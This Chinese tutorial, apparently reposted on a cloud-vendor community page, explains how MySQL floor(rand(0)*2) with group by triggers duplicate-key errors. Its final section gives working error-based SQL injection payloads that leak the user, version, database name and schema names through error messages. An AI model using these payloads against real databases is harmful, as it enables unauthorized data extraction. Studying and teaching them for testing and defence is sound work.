mysql报错注入原理分析之floor()

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
简介: 环境:mysql 5.1.73[root@localhost ~]# mysql --versionmysql Ver 14.14 Distrib 5.

环境:mysql 5.1.73

[root@localhost ~]# mysql --version
mysql  Ver 14.14 Distrib 5.1.73, for redhat-linux-gnu (x86_64) using readline 5.1
[root@localhost ~]#

1.首先普及几个mysql里面的函数

  1. floor()
  • 在mysql里面floor()函数是取整(注意:不是四舍五入),下面实际操作验证一下
mysql> select floor(0.3);
+------------+
| floor(0.3) |
+------------+
|          0 |
+------------+
1 row in set (0.00 sec)

mysql> select floor(0.5);
+------------+
| floor(0.5) |
+------------+
|          0 |
+------------+
1 row in set (0.00 sec)

mysql> select floor(0.8);
+------------+
| floor(0.8) |
+------------+
|          0 |
+------------+
1 row in set (0.00 sec)

[图片上传失败...(image-2b1322-1528340788318)]

mysql> select floor(1.8);
+------------+
| floor(1.8) |
+------------+
|          1 |
+------------+
1 row in set (0.00 sec)

mysql> select floor(1.5);
+------------+
| floor(1.5) |
+------------+
|          1 |
+------------+
1 row in set (0.00 sec)

mysql> select floor(1.3);
+------------+
| floor(1.3) |
+------------+
|          1 |
+------------+
1 row in set (0.00 sec)

mysql> 

[图片上传失败...(image-da5c47-1528340788318)]

事实证明上面说的没毛病

  1. group by
  • group by 我的理解是分组查询,根据一个列或者多个列,值相等的在一起

  • 下面实际操作理解一下,首先在数据库test里面创建一张test

mysql> CREATE TABLE IF NOT EXISTS `test`(
    ->    `id` INT AUTO_INCREMENT PRIMARY KEY,
    ->    `name` VARCHAR(100) NOT NULL,
    ->    `number` INT NOT NULL,
    ->    `content` VARCHAR(100)
    -> )ENGINE=InnoDB DEFAULT CHARSET=utf8;
Query OK, 0 rows affected (0.07 sec)

mysql> 

[图片上传失败...(image-c3be09-1528340788318)]

  • 然后在test表中插入一些数据
mysql> insert into test
    -> (name,number,content)
    -> values
    -> ('aa',2,'11'),
    -> ('aa',3,'22'),
    -> ('bb',4,'33'),
    -> ('bb',5,'44'),
    -> ('bb',5,'55'),
    -> ('cc',6,'66'),
    -> ('cc',6,'77'),
    -> ('dd',2,'88'),
    -> ('ee',2,'99');
Query OK, 9 rows affected (0.00 sec)
Records: 9  Duplicates: 0  Warnings: 0

mysql> 

[图片上传失败...(image-a80ee5-1528340788318)]

mysql> select * from test;

[图片上传失败...(image-f62cfa-1528340788318)]

  • 接下来进行我们的探索
mysql> select * from test group by name;

[图片上传失败...(image-9c13ef-1528340788318)]

通过比较,可以看出通过group by将字段name相同的进行分组查询,注意这个地方不要看其他内容,单纯理解一下这个分组的意思

  • 然后我们接着来看,上面不是说了分组的含义吗?其实数据库在执行group by时候创建了一张虚拟的表,是知道name这个字段相同的有几条结果的,如下图测试说明:

[图片上传失败...(image-234e0-1528340788318)]

  1. rand()
  • 在mysql里面rand()函数是随机产生一个范围(0,1)的随机数**

[图片上传失败...(image-8ba20b-1528340788318)]

  • 那么有人也许有疑问,随机产生的值有规律吗?为了验证猜想,下面找一个数据量比较大的表information_schema.tables测试一下,这里我只取30条数据实验
mysql> select rand() from information_schema.tables limit 0,30;

[图片上传失败...(image-8c769b-1528340788318)]

首先可以查看到每一条都是随机产生的浮点型值,而且这条sql语句经过多次执行发现,每一次执行结果也是随机的,由此可以得出此时rand()是真随机.

  • 这样看起来是不是有点累,开始的时候我首先普及了一个floor()取整函数,那么接下来我们可以这样做,会更清晰,更直观.
mysql> select floor(rand()) from information_schema.tables limit 0,30;

[图片上传失败...(image-f940f1-1528340788318)]

这样看是不是就这清晰直观明了,但是有人又有疑问了吧,为什么都是0呢,不是随机的吗,别忘了我们rand()随机范围(0,1),也就是随机出来的都是小于1的小数,然后floor()取整后可不都是0吗,这样看着方便了,但是却看不到随机性了,那好我们想个办法继续往下看。

mysql> select floor(rand()*2) from information_schema.tables limit 0,30;

[图片上传失败...(image-99f8ee-1528340788318)]

这步看着应该不难理解吧,就是将随机范围(0,1)扩大2倍变成(0,2),这样随机值是不是有0点多的、1点多的,然后取整就可以清晰简单的研究其规律。经过多次执行这条语句发现:是没有规律的。这和之前没取整说的真随机是一样的。

  • 既然rand()是没有规律的,我们怎么研究?报错注入我们谷歌百度发现都是rand(0),那好,我们在试一试有随机因子是什么情况
mysql> select floor(rand(0)*2) from information_schema.tables limit 0,30;

[图片上传失败...(image-c400fb-1528340788319)]

经过多次执行这条语句,你会发现这是一个规律,每次随机结果和这个一模一样

2.有了上面讲的基础知识,我们接下来就真正的研究下报错注入

  • 首先看一条报错的sql语句
mysql> select count(*) from test.test group by floor(rand(0)*2);

[图片上传失败...(image-5e2612-1528340788319)]

可以看到报错显示位'1',这个错误就是由于主键不能重复而暴出的错误

  • 接下来一步一步分析一下这个过程
    (1).首先查询之前会默认建立一张空的虚拟表,如下图所示:

[图片上传失败...(image-f5947e-1528340788319)]

(2).取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕,如下图:

[图片上传失败...(image-1743ae-1528340788319)]

(3).查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)*2)不会被计算第二次,直接count(*)加1,第二条记录查询完毕,结果如下:

[图片上传失败...(image-b53fd2-1528340788319)]

(4).查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,作为虚表的主键,其值为1(第5次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了。

(5).整个查询过程floor(rand(0)*2)被计算了5次,这也是开始说让记住前5个值(01101)的缘故了查询原数据表3次,所以这就是为什么数据表中需要3条数据,使用该语句才会报错的原因。

3.利用mysql报错手法

  • 首先收集基本收据库信息
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",user());
ERROR 1062 (23000): Duplicate entry '1~root@localhost' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",version());
ERROR 1062 (23000): Duplicate entry '1~5.1.73-log' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",database());
ERROR 1062 (23000): Duplicate entry '1~test' for key 'group_key'
mysql> 

[图片上传失败...(image-e91717-1528340788319)]

  • 然后试试暴库
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",(select schema_name from information_schema.schemata limit 0,1));
ERROR 1062 (23000): Duplicate entry '1~information_schema' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",(select schema_name from information_schema.schemata limit 1,1));
ERROR 1062 (23000): Duplicate entry '1~aaa' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",(select schema_name from information_schema.schemata limit 2,1));
ERROR 1062 (23000): Duplicate entry '1~bbb' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",(select schema_name from information_schema.schemata limit 3,1));
ERROR 1062 (23000): Duplicate entry '1~challenges' for key 'group_key'
mysql> 

[图片上传失败...(image-805896-1528340808287)]

  • ok没毛病,就是这样利用的往下就不再多说。
相关实践学习
基于CentOS快速搭建LAMP环境
本教程介绍如何搭建LAMP环境,其中LAMP分别代表Linux、Apache、MySQL和PHP。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助     相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
4天前
|
存储 SQL 关系型数据库
【MySQL】主从同步原理、分库分表
【MySQL】主从同步原理、分库分表
10 0
|
1天前
|
Oracle 关系型数据库 MySQL
实时计算 Flink版操作报错合集之用CTAS从mysql同步数据到hologres,改了字段长度,报错提示需要全部重新同步如何解决
在使用实时计算Flink版过程中,可能会遇到各种错误,了解这些错误的原因及解决方法对于高效排错至关重要。针对具体问题,查看Flink的日志是关键,它们通常会提供更详细的错误信息和堆栈跟踪,有助于定位问题。此外,Flink社区文档和官方论坛也是寻求帮助的好去处。以下是一些常见的操作报错及其可能的原因与解决策略。
22 8
|
1天前
|
SQL 关系型数据库 MySQL
实时计算 Flink版操作报错合集之程序初始化mysql没有完成就报错如何解决
在使用实时计算Flink版过程中,可能会遇到各种错误,了解这些错误的原因及解决方法对于高效排错至关重要。针对具体问题,查看Flink的日志是关键,它们通常会提供更详细的错误信息和堆栈跟踪,有助于定位问题。此外,Flink社区文档和官方论坛也是寻求帮助的好去处。以下是一些常见的操作报错及其可能的原因与解决策略。
12 4
|
1天前
|
关系型数据库 MySQL 数据库
实时计算 Flink版操作报错合集之sqlserver mysql都用的胖包,sqlserver的成功了,mysql报这个错如何解决
在使用实时计算Flink版过程中,可能会遇到各种错误,了解这些错误的原因及解决方法对于高效排错至关重要。针对具体问题,查看Flink的日志是关键,它们通常会提供更详细的错误信息和堆栈跟踪,有助于定位问题。此外,Flink社区文档和官方论坛也是寻求帮助的好去处。以下是一些常见的操作报错及其可能的原因与解决策略。
15 6
|
1天前
|
SQL Oracle 关系型数据库
实时计算 Flink版操作报错合集之连接器换成2.4.2之后,mysql作业一直报错如何解决
在使用实时计算Flink版过程中,可能会遇到各种错误,了解这些错误的原因及解决方法对于高效排错至关重要。针对具体问题,查看Flink的日志是关键,它们通常会提供更详细的错误信息和堆栈跟踪,有助于定位问题。此外,Flink社区文档和官方论坛也是寻求帮助的好去处。以下是一些常见的操作报错及其可能的原因与解决策略。
12 3
|
4天前
|
存储 算法 关系型数据库
MySQL连接的原理⭐️4种优化连接的手段性能提升240%🚀
MySQL连接的原理⭐️4种优化连接的手段性能提升240%🚀
|
4天前
|
SQL 存储 关系型数据库
MySQL查询原理,看这一篇就够了!
MySQL查询原理,看这一篇就够了!
|
4天前
|
关系型数据库 MySQL 数据库
MySQL 启动 登录报错Job for mysqld.service failed because the control process exited with error code. See
MySQL 启动 登录报错Job for mysqld.service failed because the control process exited with error code. See
|
4天前
|
SQL DataWorks 关系型数据库
DataWorks操作报错合集之DataWorks在同步mysql时报错Code:[Framework-02],mysql里面有个json类型字段,是什么原因导致的
DataWorks是阿里云提供的一站式大数据开发与治理平台,支持数据集成、数据开发、数据服务、数据质量管理、数据安全管理等全流程数据处理。在使用DataWorks过程中,可能会遇到各种操作报错。以下是一些常见的报错情况及其可能的原因和解决方法。
30 0
|
4天前
|
关系型数据库 MySQL 数据库
docker MySQL删除数据库时的错误(errno: 39)
docker MySQL删除数据库时的错误(errno: 39)
24 0

推荐镜像

更多